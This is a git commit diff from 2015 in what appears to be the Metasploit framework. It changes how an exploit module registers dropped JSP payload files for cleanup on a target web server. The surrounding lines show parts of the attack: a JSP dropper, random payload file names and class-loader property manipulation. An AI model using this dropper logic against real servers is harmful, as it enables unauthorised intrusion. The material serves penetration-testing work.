Modify automatic file cleanup

bug/bundler_fix
Julian Vilas 2015-03-10 00:45:20 +01:00
parent 0ef303cb6c
commit fe822f8d33
1 changed files with 5 additions and 10 deletions

View File

@ -200,12 +200,9 @@ class Metasploit3 < Msf::Exploit::Remote
end
payload_file = rand_text_alphanumeric(4 + rand(4))
jsp = jsp_dropper(payload_file, payload_exe)
if target['Platform'] == 'win' && target['Arch'] == ARCH_X86
register_files_for_cleanup("../webapps/ROOT/#{payload_file}")
else
register_files_for_cleanup(payload_file)
end
end
jsp
end
@ -274,11 +271,8 @@ class Metasploit3 < Msf::Exploit::Remote
fail_with(Failure::Unknown, "#{peer} - The log file hasn't been flushed")
end
if target['Platform'] == 'win' && target['Arch'] == ARCH_X86
register_files_for_cleanup("../webapps/ROOT/#{@jsp_file}")
else
register_files_for_cleanup(@jsp_file)
end
# This path depends on CWD. May require manual cleanup
register_files_for_cleanup("webapps/ROOT/#{@jsp_file}")
# Prepare the JSP
print_status("#{peer} - Generating JSP...")
@ -308,5 +302,6 @@ class Metasploit3 < Msf::Exploit::Remote
}
modify_class_loader(properties)
end
end